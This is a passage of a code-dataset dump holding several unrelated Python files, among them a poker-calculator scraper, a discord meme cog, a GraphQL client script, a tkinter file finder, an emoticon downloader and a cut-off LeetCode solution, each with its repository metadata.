imgs_per_batch: int = 1,\n data_dir: str = \"\",\n layer_name: str = \"\",\n root_mask_dir: str = \"/tmp\",\n num_proc: int = 48,\n **checkpointables: Any,\n ):\n self.serialization_dir = pathlib.Path(serialization_dir)\n self.root_mask_dir = pathlib.Path(root_mask_dir)\n\n # Load the image IDs\n self.data_dir = os.path.join(data_dir, 'train2017')\n\n self.min_clusters = min_clusters\n self.max_clusters = max_clusters\n self.imgs_per_batch = imgs_per_batch\n self.layer_name = layer_name\n \n self.num_proc = num_proc\n\n # Shallow copy, keeps references to tensors as original objects.\n self.checkpointables = copy.copy(checkpointables)\n\n def step(self, epoch: int, new_mask_dir: str):\n r\"\"\"\n Serialize checkpoint and update best checkpoint based on metric. Keys\n in serialized checkpoint match those in :attr:`checkpointables`.\n\n Parameters\n ----------\n epoch: int\n Current training epoch. Will be saved with other checkpointables.\n metric: float, optional (default = None)\n Observed metric (higher is better) for keeping track of best\n checkpoint. If this is ``None``, best chckpoint will not be\n recorded/updated.\n \"\"\"\n\n checkpoint_path = self.serialization_dir / f\"boot_{epoch}.pth\"\n\n # extract_kmeans(self.num_proc, new_mask_dir, self.all_imgs,\n # checkpoint_path)\n\n subprocess.run([sys.executable, \"subproc_extract_kmeans.py\",\n \"--data_dir\", self.data_dir,\n \"--min_clusters\", str(self.min_clusters),\n \"--max_clusters\", str(self.max_clusters),\n \"--imgs_per_batch\", str(self.imgs_per_batch),\n \"--layer_name\", self.layer_name,\n \"--mask_dir\", new_mask_dir,\n \"--num_proc\", str(self.num_proc),\n \"--ckpt\", checkpoint_path,\n ], check=True)\n","repo_name":"renwang435/CYBORGS","sub_path":"utils/bootstrapping.py","file_name":"bootstrapping.py","file_ext":"py","file_size_in_byte":4033,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"37005050893","text":"import sys\n\ndef find_largest(line):\n '''Return the largest value in line, which is a\n whitespace-delimited string of integers.'''\n\n # The largest value seen so far.\n largest = -1\n\n for value in line.split():\n\n # Remove the trailing period.\n v = int(value[:-1])\n\n # If we find a larger value, remember it.\n if v > largest:\n largest = v\n\n return largest\n","repo_name":"wikibook/nodejs-in-action","sub_path":"fileproc/read_lynx_1.py","file_name":"read_lynx_1.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"54"} +{"seq_id":"33664482521","text":"import requests\r\nimport zipfile\r\nimport decrypt\r\nimport util\r\nimport os\r\nimport io\r\n\r\nurl=input(\"URL: \")\r\n\r\neid, ename = util.getEmoticonInfo(url)\r\nprint(\"EmoticonId: {}\\nEmoticonName: {}\".format(eid, ename))\r\n\r\nres = requests.get(util.getEmoticonPackUrl(eid))\r\nif res.status_code != 200:\r\n print(\"{} ERROR\".format(res.status_code))\r\n os.exit(1)\r\n \r\nif not os.path.exists(eid):\r\n os.makedirs(eid)\r\n \r\nwith zipfile.ZipFile(io.BytesIO(res.content), \"r\") as zf:\r\n namelist = zf.namelist()\r\n for idx, filepath in enumerate(namelist):\r\n _, ext = os.path.splitext(filepath)\r\n\r\n if util.is_decrypt_required(ext):\r\n emot = decrypt.xorData(zf.read(filepath))\r\n else:\r\n emot = zf.read(filepath)\r\n \r\n filename = \"{}/{}\".format(eid, os.path.basename(filepath))\r\n \r\n with open(filename, \"wb\") as f:\r\n f.write(emot)\r\n \r\n print(\"success {}/{}\".format(idx+1, len(namelist)))\r\n","repo_name":"blluv/KakaoTalkEmoticonDownloader","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"54"} +{"seq_id":"3965774310","text":"from django.conf import settings\nfrom django_hosts import patterns, host\n\nhost_patterns = patterns('',\n\n host(r'www',settings.ROOT_URLCONF,name='default'),\n host(r'admin','conf.hostconf.admin.urls',name='admin'),\n host(r'staff','conf.hostconf.staff.urls',name='staff'),\n host(r'beta','conf.hostconf.beta.urls', name='beta'),\n host(r'dev','conf.hostconf.dev.urls',name='dev'),\n host(r'api','conf.hostconf.api.urls',name='api'),\n host(r'shop','conf.hostconf.shop.urls',name='shop'),\n host(r'(?!www).*','conf.hostconf.redirect.urls', name='wildcard'),\n)","repo_name":"iamandrelewis/Andr","sub_path":"web/django/greight/conf/hosts.py","file_name":"hosts.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73057108640","text":"from selenium import webdriver\r\nimport time\r\nimport pandas as pd\r\nimport math\r\nfrom selenium.webdriver.common.keys import Keys\r\nimport numpy as np\r\n#5\r\n#5\r\n#160\r\n#150\r\n\r\n\r\nclass Scraper:\r\n \"\"\"The Scraper class provides method to repeatedly refresh and scrape primedope's poker variance calculator.\r\n This is by no means a bug free or comprehensive solution. I wrote this in an afternoon b/c my brother is a bum\r\n who can't code\"\"\"\r\n\r\n def __init__(self, wr_bb_100=5, wr_observed=5, std_dev=160, hands=150):\r\n \"\"\"Initialization. each param for the poker variance calculator can be set.\r\n Every time the the page is refresh, the selenium web browser will input these parameters in into the calculator\"\"\"\r\n url = \"https://www.primedope.com/poker-variance-calculator/\"\r\n self.driver = webdriver.Chrome()\r\n self.driver.get(url)\r\n self.wr_bb_100 = wr_bb_100\r\n self.wr_observed = wr_observed\r\n self.std_dev = std_dev\r\n self.hands = hands\r\n self.data = []\r\n self.sample_names = None\r\n self.table = None\r\n self.__input_params()\r\n\r\n def __input_params(self):\r\n \"\"\"Code for selenium browser to input parameters into calculator, also hits calculates and\r\n waits for table to be generated\"\"\"\r\n in_param = self.driver.find_element_by_xpath(\"//*[@id=\\\"winrate\\\"]\")\r\n in_param.clear()\r\n in_param.send_keys(self.wr_bb_100)\r\n\r\n in_param = self.driver.find_element_by_xpath(\"//*[@id=\\\"observed_winrate\\\"]\")\r\n in_param.clear()\r\n in_param.send_keys(self.wr_observed)\r\n\r\n in_param = self.driver.find_element_by_xpath(\"//*[@id=\\\"sd\\\"]\")\r\n in_param.clear()\r\n in_param.send_keys(self.std_dev)\r\n\r\n in_param = self.driver.find_element_by_xpath(\"//*[@id=\\\"hande\\\"]\")\r\n in_param.clear()\r\n in_param.send_keys(self.hands)\r\n\r\n self.driver.find_element_by_xpath(\"//*[@id=\\\"enterData\\\"]/table/tbody/tr[5]/td[1]/button\").click()\r\n time.sleep(3)\r\n self.__get_table()\r\n\r\n def __get_table(self):\r\n \"\"\"scrapes table from the site's html and places into table variable\"\"\"\r\n self.table = self.driver.find_element_by_xpath(\"//*[@id=\\\"chart_div\\\"]/div/div[1]/div/div/table\")\r\n\r\n def __get_headers(self):\r\n # create list of column headers\r\n \"\"\"scrapes headers from table for use in pandas dataframe\"\"\"\r\n headers = self.table.find_element_by_tag_name(\"thead\")\r\n columns = headers.find_elements_by_tag_name(\"th\")\r\n self.sample_names = [x.get_attribute('textContent') for x in columns]\r\n\r\n def __get_last_row(self):\r\n \"\"\"scrapes final row from table.\r\n Alex told me he only cared about final value of simulation so thats all this function does\"\"\"\r\n # get rows of table data\r\n rows = self.table.find_element_by_tag_name(\"tbody\").find_elements_by_tag_name(\"tr\")\r\n # convert html elements to ints and store in 2d list\r\n last = [num.get_attribute('textContent') for num in rows[-1].find_elements_by_tag_name(\"td\")]\r\n return last\r\n\r\n def __refresh_page(self):\r\n\r\n self.driver.refresh()\r\n self.__input_params()\r\n\r\n def scrape_page_x_times(self, scrapes, file_name=\"raw_data.csv\"):\r\n\r\n self.__get_headers()\r\n\r\n for i in range(0, scrapes):\r\n self.data.append(self.__get_last_row())\r\n if i != scrapes-1:\r\n self.__refresh_page()\r\n print(i)\r\n\r\n df = pd.DataFrame(self.data, columns=self.sample_names)\r\n df.to_csv(file_name, mode='w', index=True, header=True)\r\n\r\n def average_with_rake(self, rake=3):\r\n \"\"\"averages all values generated by calculator:\r\n (sum(positive values)*(1-rake/100)+sum(negative values))/number of values\"\"\"\r\n rake = 1 - rake/100.0\r\n print(rake)\r\n print(self.data)\r\n sum_final_vals = 0\r\n num_entries = 0\r\n for i in self.data:\r\n for j in range(1,len(i)):\r\n #this looks weird but if a comma is present in the number than converting from str to int with cause an error\r\n converted_num = int((i[j]).replace(',', '')) if isinstance(i[j], str) else i[j]\r\n if converted_num > 0:\r\n sum_final_vals += rake*converted_num\r\n else:\r\n sum_final_vals += converted_num\r\n num_entries += 1\r\n return sum_final_vals/num_entries\r\n\r\n def average_with_rake_exclude_first_x_cols(self, rake=3, cols=8):\r\n \"\"\"does the same thing as the other average with rake but can be used to exclude some of the different samples\r\n to average best and worst with 20 samples, cols=6\r\n to only average samples 1-20, cols=8\"\"\"\r\n rake = 1 - rake/100.0\r\n sum_final_vals = 0\r\n num_entries = 0\r\n\r\n #this loop finds the average\r\n for i in self.data:\r\n for j in range(cols, len(i)):\r\n # this looks weird but if a comma is present in the number than converting from str to int with cause an error\r\n converted_num = int((i[j]).replace(',', '')) if isinstance(i[j], str) else i[j]\r\n if converted_num > 0:\r\n sum_final_vals += rake*converted_num\r\n else:\r\n sum_final_vals += converted_num\r\n num_entries += 1\r\n\r\n return sum_final_vals/num_entries\r\n\r\n def sort_data_by_plus_minus(self, bw=False, file_name=\"plus_minus.csv\"):\r\n \"\"\"\r\n Takes raw data from scrapes and sorts into a two column dataframe with positive values in first column\r\n and negative values in second then prints table to a .csv file.\r\n if bw is set to False(default setting) then only samples 1-20 will be looked at\r\n \"\"\"\r\n positive = []\r\n negative = []\r\n first_index = 6 if bw else 8\r\n for i in self.data:\r\n for j in range(first_index, len(i)):\r\n converted_num = int((i[j]).replace(',', '')) if isinstance(i[j], str) else i[j]\r\n if converted_num > 0:\r\n positive.append(converted_num)\r\n else:\r\n negative.append(converted_num)\r\n #pandas stuff and writing to csv\r\n df = pd.DataFrame(positive)\r\n df1 = pd.DataFrame(negative)\r\n final = pd.concat([df, df1], ignore_index=True, axis=1)\r\n final.to_csv(file_name, mode='w', index=False, header=False)\r\n\r\n def read_raw_file_from_csv(self, file_name):\r\n \"\"\"\r\n reads raw data only useful if you want to relook a data from previous scrape.\r\n puts data into self.data\r\n \"\"\"\r\n df = pd.read_csv(file_name, index_col=0)\r\n self.data = df.to_numpy()\r\n\r\n def read_plus_minus_file_from_csv(self, file_name):\r\n \"\"\"\r\n reads from file to get to get two column dataframe with positive values in first column\r\n and negative values in second then returns numpy array of table\r\n \"\"\"\r\n df = pd.read_csv(file_name, index_col=0)\r\n return df.to_numpy()\r\n\r\n @staticmethod\r\n #input should be two column numpy array\r\n def get_avg_of_plus_minus(two_col_array):\r\n \"\"\"\r\n pretty much does what it says, rake is set to 3%\r\n :param two_col_array: takes two column numpy array of positive and negative values of scrape\r\n :return: average of two column numpy array\r\n \"\"\"\r\n rake = 0.97\r\n sum = 0\r\n entries = 0\r\n\r\n for i in two_col_array:\r\n for j in i:\r\n if not math.isnan(j):\r\n sum += j if j <= 0 else j*rake\r\n entries += 1\r\n\r\n return sum/entries\r\n\r\n\r\n\r\n","repo_name":"jacobDeutsch10/Primedope-Scraper","sub_path":"Scraper.py","file_name":"Scraper.py","file_ext":"py","file_size_in_byte":7772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7100046636","text":"import os\nimport sys\nimport orjson\nimport asyncio\nimport logging\nimport argparse\nfrom uuid import UUID, uuid4\nfrom typing import Dict\n\n\nimport requests\n\nfrom byoda.util.api_client.graphql_client import GraphQlClient\n\nfrom byoda import config\n\nfrom byoda.util.logger import Logger\n\nfrom byoda.datatypes import CloudType\n\nfrom byoda.datamodel.network import Network\n\nfrom byoda.datastore.document_store import DocumentStoreType\n\nfrom byoda.servers.pod_server import PodServer\n\nfrom podserver.util import get_environment_vars\n\nfrom tests.lib.addressbook_queries import GRAPHQL_STATEMENTS\nfrom tests.lib.defines import BASE_URL\nfrom tests.lib.defines import ADDRESSBOOK_SERVICE_ID\n\n\nasync def setup_network(test_dir: str) -> Dict[str, str]:\n if not os.environ.get('ROOT_DIR'):\n os.environ['ROOT_DIR'] = '/byoda'\n os.environ['BUCKET_PREFIX'] = 'byoda'\n os.environ['CLOUD'] = 'LOCAL'\n os.environ['NETWORK'] = 'byoda.net'\n os.environ['ACCOUNT_ID'] = str(uuid4())\n os.environ['ACCOUNT_SECRET'] = 'test'\n os.environ['LOGLEVEL'] = 'DEBUG'\n os.environ['PRIVATE_KEY_SECRET'] = 'byoda'\n os.environ['BOOTSTRAP'] = 'BOOTSTRAP'\n\n network_data = get_environment_vars()\n\n network = Network(network_data, network_data)\n await network.load_network_secrets()\n\n config.test_case = True\n\n config.server = PodServer(network)\n config.server.network = network\n\n await config.server.set_document_store(\n DocumentStoreType.OBJECT_STORE,\n cloud_type=CloudType(network_data['cloud']),\n bucket_prefix=network_data['bucket_prefix'],\n root_dir=network_data['root_dir']\n )\n\n config.server.paths = network.paths\n\n return network_data\n\n\ndef get_jwt_header(base_url: str = BASE_URL, id: UUID = None,\n secret: str = None, member_token: bool = True):\n\n if not id:\n account = config.server.account\n id = account.account_id\n\n if not secret:\n secret = os.environ['ACCOUNT_SECRET']\n\n if member_token:\n service_id = ADDRESSBOOK_SERVICE_ID\n else:\n service_id = None\n\n url = base_url + '/v1/pod/authtoken'\n\n data = {\n 'username': str(id)[:8],\n 'password': secret,\n 'service_id': service_id,\n }\n response = requests.post(url, json=data)\n result = response.json()\n if response.status_code != 200:\n raise PermissionError(f'Failed to get auth token: {result}')\n\n auth_header = {\n 'Authorization': f'bearer {result[\"auth_token\"]}'\n }\n\n return auth_header\n\n\nasync def main(argv):\n global _LOGGER\n _LOGGER = Logger.getLogger(\n sys.argv[0], debug=False, verbose=False, json_out=False,\n loglevel=logging.WARNING\n )\n await setup_network(None)\n parser = argparse.ArgumentParser()\n parser.add_argument('--network', '-n', type=str, default='byoda.net')\n parser.add_argument('--service_id', '-s', type=str, default='4294929430')\n parser.add_argument(\n '--member_id', '-i', type=str, default=os.environ.get('MEMBER_ID')\n )\n parser.add_argument(\n '--password', '-p', type=str,\n default=os.environ.get('ACCOUNT_PASSWORD')\n )\n parser.add_argument('--data-file', '-f', type=str, default='data.json')\n parser.add_argument('--object', '-c', type=str, default='person')\n parser.add_argument('--action', '-a', type=str, default='query')\n parser.add_argument('--depth', '-d', type=int, default=0)\n parser.add_argument('--relations', '-r', type=str, default=None)\n parser.add_argument('--filter-field', type=str, default=None)\n parser.add_argument('--filter-compare', type=str, default=None)\n parser.add_argument('--filter-value', type=str, default=None)\n parser.add_argument('--remote-member-id', '-m', type=str, default=None)\n\n args = parser.parse_args()\n\n network = args.network\n service_id = args.service_id\n member_id = args.member_id\n password = args.password\n object = args.object\n action = args.action\n depth = args.depth\n remote_member_id = args.remote_member_id\n\n relations = None\n if args.relations:\n relations = args.relation.split(',')\n\n if args.object not in GRAPHQL_STATEMENTS:\n raise ValueError(\n f'{args.object} not in available objects: ' +\n ', '.join(GRAPHQL_STATEMENTS.keys())\n )\n\n if args.action not in GRAPHQL_STATEMENTS[args.object]:\n raise ValueError(\n f'{args.action} not in list of available actions for object '\n f'{args.object}: ' +\n \", \".join(GRAPHQL_STATEMENTS[args.object])\n )\n\n base_url = f'https://proxy.{network}/{service_id}/{member_id}/api'\n\n auth_header = get_jwt_header(\n base_url=base_url, id=member_id, secret=password,\n member_token=True\n )\n\n graphql_url = f'{base_url}/v1/data/service-{service_id}'\n\n vars = {}\n try:\n with open(args.data_file) as file_desc:\n text = file_desc.read()\n vars = orjson.loads(text)\n except FileNotFoundError:\n if action not in ('query', 'delete'):\n raise\n\n if action in ('query', 'append'):\n vars['depth'] = depth\n if relations:\n vars['relations'] = relations\n\n if remote_member_id:\n vars['remote_member_id'] = remote_member_id\n\n if args.filter_field and args.filter_compare and args.filter_value:\n vars['filters'] = {\n args.filter_field: {args.filter_compare: args.filter_value}\n }\n elif args.filter_field or args.filter_compare or args.filter_value:\n raise ValueError(\n 'Filter requires filter_field, filter_compare and '\n 'filter_value to be specified'\n )\n\n response = await GraphQlClient.call(\n graphql_url, GRAPHQL_STATEMENTS[object][action],\n vars=vars, headers=auth_header, timeout=30\n )\n result = await response.json()\n\n data = result.get('data')\n if data:\n text = orjson.dumps(data, option=orjson.OPT_INDENT_2)\n print('Data returned by GraphQL: ')\n print(text.decode('utf-8'))\n else:\n print(f'GraphQL error: {result.get(\"errors\")}')\n\n\nif __name__ == '__main__':\n asyncio.run(main(sys.argv))\n","repo_name":"AbdullahAlAsad/byoda-python","sub_path":"tools/call_graphql.py","file_name":"call_graphql.py","file_ext":"py","file_size_in_byte":6192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"71462871201","text":"#!/usr/bin/python3.9\n# -*- coding: utf-8 -*-\n\nfrom asyncio.events\timport get_event_loop\nfrom concurrent.futures\timport ThreadPoolExecutor\nfrom discord.ext\timport commands\nfrom pengaelicutils\timport unhandling,\ttux_in_guild, img2file, url2img\nfrom PIL\timport Image,\tImageFont,\tImageDraw\n\nclass Memes(commands.Cog):\n\tdef __init__(self, client):\tself.client\t= client\n\tteal\t= 0x007F7F\n\tname\t= \"memes\"\n\tname_typable\t= name\n\tdescription\t= \"Image manipulation is fun, isn't it?\"\n\tdescription_long\t= description + \" More templates coming soon, have to work out some text issues.\"\n\n\tdef twelve(self, img: Image, text: str) -> Image:\n\t\twidth, height\t= img.size\n\t\ttry:\ttop_string, bottom_string = text.upper().split(\"|\")\n\t\texcept ValueError as error:\n\t\t\tif \"not enough\" in str(error):\ttop_string, bottom_string\t= [text.upper(), \"\"]\n\t\t\telse:\traise\n\n\t\tfont_size\t= int(height / 5)\t# find biggest font size that works\n\t\tfont\t= ImageFont.truetype(\"static/fonts/impact.ttf\", font_size)\n\t\ttop_text_size\t= font.getsize(top_string)\n\t\tbottom_text_size\t= font.getsize(bottom_string)\n\t\twhile top_text_size[0] > width - 20 or bottom_text_size[0] > width - 20:\n\t\t\tfont_size\t= font_size - 1\n\t\t\tfont\t= ImageFont.truetype(\"static/fonts/impact.ttf\", font_size)\n\t\t\ttop_text_size\t= font.getsize(top_string)\n\t\t\tbottom_text_size\t= font.getsize(bottom_string)\n\n\t\ttop_text_pos\t= ((width / 2) - (top_text_size[0]\t/ 2), 0)\n\t\tbottom_text_pos\t= ((width / 2) - (bottom_text_size[0]\t/ 2), height - bottom_text_size[1])\n\t\tdraw\t= ImageDraw.Draw(img)\n\t\toutline_range\t= int(font_size / 15)\t# draw outlines\n\t\tfor x in range(-outline_range, outline_range + 1):\n\t\t\tfor y in range(-outline_range, outline_range + 1):\n\t\t\t\tdraw.text((top_text_pos[0] + x,\ttop_text_pos[1] + y),\ttop_string,\t(0, 0, 0), font=font)\n\t\t\t\tdraw.text((bottom_text_pos[0] + x,\tbottom_text_pos[1] + y),\tbottom_string,\t(0, 0, 0), font=font)\n\n\t\tdraw.text(top_text_pos,\ttop_string,\t0xffffffff, font=font)\n\t\tdraw.text(bottom_text_pos,\tbottom_string,\t0xffffffff, font=font)\n\n\t\treturn img\n\n\tdef sixteen(self, img: Image, text: str) -> Image:\n\t\twidth, height\t= img.size\n\t\ttext\t= text.split(\"|\")\n\t\tfont_size\t= int(height / 10)\t# find biggest font size that works\n\t\tfont\t= ImageFont.truetype(\"static/fonts/liberation.ttf\", font_size)\n\t\tfor line in text:\n\t\t\ttext_size\t= font.getsize(line)\n\t\t\twhile text_size[0] > width - 20:\n\t\t\t\tfont_size\t= font_size - 1\n\t\t\t\tfont\t= ImageFont.truetype(\"static/fonts/liberation.ttf\", font_size)\n\t\t\t\ttext_size\t= font.getsize(line)\n\n\t\tpad = Image.new(img.mode, (width, height + (font_size * len(text))), 0xffffffff)\t# add white padding\n\t\tpad.paste(img, (0, (font_size * len(text)) + 10))\n\t\tfor line in text:\tImageDraw.Draw(pad).text((0, (font_size * text.index(line))),\tline,\t0x000, font=font)\n\t\treturn pad\n\n\t@commands.command(name=\"2012meme\", help=\"Make a classic top-text bottom-text meme. Supply your own PNG or JPG!\", usage=\" | [bottom text]\")\n\tasync def topbottom(self, ctx, *, text):\n\t\tasync with ctx.typing(): await ctx.send(file=await get_event_loop().run_in_executor(ThreadPoolExecutor(), img2file, self.twelve(url2img(\"static/images/meme_templates/generic.jpg\" if not ctx.message.attachments else ctx.message.attachments[0].url), text), f\"{text.replace(' ','_')}_2012meme_Pengaelic_Bot.png\"))\n\n\t@commands.command(name=\"2016meme\", help=\"Make a more modern top-text meme. Supply your own PNG or JPG!\", usage=\" | [text] | [text] | [etc]\")\n\tasync def toponly(self, ctx, *, text):\n\t\tasync with ctx.typing(): await ctx.send(file=await get_event_loop().run_in_executor(ThreadPoolExecutor(), img2file, self.sixteen(url2img(\"static/images/meme_templates/generic.jpg\" if not ctx.message.attachments else ctx.message.attachments[0].url), text), f\"{text.replace(' ','_')}_2016meme_Pengaelic_Bot.png\"))\n\n\t# FIXME: holy fuck come back to this later, text issues\n\t# @commands.command(name=\"drakememe\", help=\"Make a drake meme.\", usage=\" | \")\n\t# async def drake(self, ctx, *, text):\n\t#\timg\t= Image.open(\"images/meme_templates/drake.jpg\")\n\t#\twidth, height\t= [img.size[0]*2, img.size[1]]\n\t#\ttry:\ttop_string, bottom_string = text.split(\"|\")\n\t#\texcept ValueError as error:\n\t#\t\tif \"not enough\" in str(error):\ttop_string, bottom_string\t= [text, \"\"]\n\t#\t\telse:\traise\n\n\t#\tfont_size\t= int(height / 10)\t# find biggest font size that works\n\t#\tfont\t= ImageFont.truetype(\"fonts/liberation.ttf\", font_size)\n\t#\ttop_text_size\t= font.getsize(top_string)\n\t#\tbottom_text_size\t= font.getsize(bottom_string)\n\t#\ttop_wrap = 0\n\t#\tbottom_wrap = 0\n\t#\twhile top_text_size[0] > width - 20 or bottom_text_size[0] > width - 20:\n\t#\t\ttmp = top_string.split()\n\t#\t\tif len(top_string.split(\"\\n\")) > 1:\ttmp += [top_string.split(\"\\n\")[1]]\n\t#\t\ttry:\ttop_string = \" \".join(tmp[:-top_wrap]) + \"\\n\".join(tmp[-top_wrap:])\n\t#\t\texcept IndexError:\tpass\n\t#\t\ttop_wrap += 1\n\t#\t\ttmp = bottom_string.split()\n\t#\t\tif len(bottom_string.split(\"\\n\")) > 1:\ttmp += [bottom_string.split(\"\\n\")[1]]\n\t#\t\ttry:\tbottom_string = \" \".join(tmp[:-bottom_wrap]) + \"\\n\".join(tmp[-bottom_wrap:])\n\t#\t\texcept IndexError:\tpass\n\t#\t\tbottom_wrap += 1\n\t#\t\ttry:\ttop_text_size\t= (font.getsize(top_string)[0] - font.getsize(\"\\n\".join(top_string.split()[-top_wrap:]))[0], font.getsize(top_string)[1] - font.getsize(\"\\n\".join(top_string.split()[-top_wrap:]))[1])\n\t#\t\texcept IndexError:\ttop_text_size\t= font.getsize(top_string)\n\t#\t\ttry:\tbottom_text_size\t= (font.getsize(bottom_string)[0] - font.getsize(\"\\n\".join(bottom_string.split()[-bottom_wrap:]))[0], font.getsize(bottom_string)[1] - font.getsize(\"\\n\".join(bottom_string.split()[-bottom_wrap:]))[1])\n\t#\t\texcept IndexError:\tbottom_text_size\t= font.getsize(bottom_string)\n\n\t#\tpad = Image.new(img.mode, (width, height), 0xffffffff)\t# add white padding\n\t#\tpad.paste(img, (0, 0))\n\t#\ttop_text_pos\t= (((width / 2) - (top_text_size[0]\t/ 2)), 10)\n\t#\tbottom_text_pos\t= (((width / 2) - (bottom_text_size[0]\t/ 2)), bottom_text_size[1] + 500)\n\t#\tif \"\\n\" in top_string:\ttop_text_pos = (top_text_pos[0] + width / 2, top_text_pos[1])\n\t#\tif \"\\n\" in bottom_string:\tbottom_text_pos = ((bottom_text_pos[0] + width / 2) - width / 24, bottom_text_pos[1] + width / 12)\n\n\t#\tdraw\t= ImageDraw.Draw(pad)\n\n\t#\tdraw.text(top_text_pos,\ttop_string,\t(0, 0, 0), font=font)\n\t#\tdraw.text(bottom_text_pos,\tbottom_string,\t(0, 0, 0), font=font)\n\t#\tawait ctx.send(file=img2file(pad, \"drakememe.png\"))\n\n\t# TODO: actually make this meme\n\t# @commands.command(name=\"galaxybrainmeme\", help=\"Smarter and smarter.\", usage=\" | [text] | [text] | [etc]\")\n\t# async def galaxybrain(self, ctx, *, text):\n\t#\timg\t= Image.open(\"images/meme_templates/galaxy_brain.jpg\")\n\t#\twidth, height\t= img.size\n\t#\ttext\t= text.split(\"|\")\n\t#\tfont_size\t= int(height / 10)\t# find biggest font size that works\n\t#\tfont\t= ImageFont.truetype(\"fonts/liberation.ttf\", font_size)\n\t#\tfor line in text:\n\t#\t\ttext_size\t= font.getsize(line)\n\t#\t\twhile text_size[0] > width - 20:\n\t#\t\t\tfont_size\t= font_size - 1\n\t#\t\t\tfont\t= ImageFont.truetype(\"fonts/liberation.ttf\", font_size)\n\t#\t\t\ttext_size\t= font.getsize(line)\n\n\t#\tpad = Image.new(img.mode, (width, height + (font_size * len(text))), 0xffffffff)\t# add white padding\n\t#\tpad.paste(img, (0, (font_size * len(text)) + 10))\n\t#\tdraw\t= ImageDraw.Draw(pad)\n\n\t#\tfor line in text:\tdraw.text((0, (font_size * text.index(line))),\tline,\t(0, 0, 0), font=font)\n\t#\tawait ctx.send(file=img2file(pad, \"galaxybrainmeme.png\"))\n\n\t@topbottom.error\n\t@toponly.error\n\t# @drake.error\n\t# @galaxybrain.error\n\tasync def error(self, ctx, error):\n\t\terrorstr = str(error)\n\t\tif \"text is a required argument that is missing.\" in errorstr:\tawait ctx.send(\"<:winxp_warning:869760947114348604>No caption specified!\")\n\t\telif \"too many values to unpack\" in errorstr:\tawait ctx.send(\"<:winxp_warning:869760947114348604>Too many lines specified!\")\n\t\telse:\tawait ctx.send(unhandling(tux_in_guild(ctx, self.client)))\n\n\ndef setup(client):\tclient.add_cog(Memes(client))\n","repo_name":"SuperTux20/Pengaelic-Bot","sub_path":"cogs/memes.py","file_name":"memes.py","file_ext":"py","file_size_in_byte":7827,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"44269729511","text":"\"\"\"\nGUI程序:\n step1 用户选择目录\n step2 用户选择文件扩展名\n step3 显示对应的文件\n step4 当用户双击文件名时,在另一个窗口打开文件\n\"\"\"\nfrom tkinter import *\nfrom tkinter import scrolledtext\nimport os\nfrom tkinter import filedialog\n\n\n# <------功能函数-------->\ndef callback_1():\n directory = filedialog.askdirectory()\n dir_v.set(directory)\n\n\ndef callback_2():\n path = os.path.abspath(dir_v.get())\n suffix = filetype.get()\n filetext.delete(1.0, END)\n for folder, subfolders, files in os.walk(path):\n for file in files:\n if file.endswith(suffix):\n filetext.insert(INSERT, os.path.join(folder, file) + '\\n')\n\n\n# <------设计界面------>\ntop = Tk()\ntop.title('文件查找窗口')\ndir_v = StringVar()\ndir_v.set('当前未选择路径')\n# 第一行选择文件目录\nLabel(top, text='请选择文件目录:').grid(row=0, column=0, padx=10, pady=10)\nEntry(top, width=30, textvariable=dir_v).grid(row=0, column=1, padx=10, pady=10)\nButton(top, text='请选择路径...', command=callback_1).grid(row=0, column=2, padx=10, pady=10)\n# 第二行选择文件类型\nLabel(top, text='请选择文件类型:').grid(row=1, column=0, padx=10, pady=10)\nfiletype = Spinbox(top, width=30, values=('.txt', '.py', '.zip', '.pdf', '.csv', '.doc', '.ppt', '.jpg'))\nfiletype.grid(row=1, column=1, padx=10, pady=10)\nButton(top, text='确定', width=10, command=callback_2).grid(row=1, column=2, padx=10, pady=10)\n# 第三行文本框用于显示文件名\nfiletext = scrolledtext.ScrolledText(top, height=20, width=80)\nfiletext.grid(row=2, columnspan=3)\nmainloop()\n","repo_name":"Lanchlot/Automation","sub_path":"Chap09_findpyfiles.py","file_name":"Chap09_findpyfiles.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"9001631848","text":"import sys\nfrom PIL import Image, ImageDraw\n\nif len(sys.argv) != 4:\n while True:\n print(\"Please enter the name of the file followed by the width of the sprite and the height of the sprite.\")\n user_input = input(\"Enter the arguments: \")\n args = user_input.split()\n if len(args) == 3:\n break\n sys.argv[1:] = args\n\n\nimageLocation = sys.argv[1]\nsprite_width = int(sys.argv[2])\nsprite_height = int(sys.argv[3])\n\n\nimage = Image.open(imageLocation)\nimage = image.convert(\"RGB\")\n\ndraw = ImageDraw.Draw(image)\n\nwidth = image.width\nheight = image.height\n\ncounter = 1\n\n\nfor y in range(0, int(height/sprite_height)):\n for x in range(0, int(width/sprite_width)):\n draw.text((x*sprite_width, y*sprite_height),\n str(counter), fill=\"white\")\n counter += 1\n\n\nimage.save(\"output.jpg\")\n","repo_name":"djtanner/SpriteCounter","sub_path":"sprite_counter.py","file_name":"sprite_counter.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"27997042578","text":"#\n# @lc app=leetcode id=2 lang=python3\n#\n# [2] Add Two Numbers\n#\n\n# @lc code=start\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def addTwoNumbers(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]:\n res = ListNode(None)\n tail = res \n carry = 0 \n \n while l1 or l2 or carry: \n val1 = l1.val if l1 else 0 \n val2 = l2.val if l2 else 0 \n \n output = val1 + val2 + carry\n # eg. outp = 13 -> carry:1, digit:3\n carry, digit = divmod(output,10)\n \n tail.next = ListNode(digit)\n tail = tail.next \n \n if l1:\n l1 = l1.next \n \n if 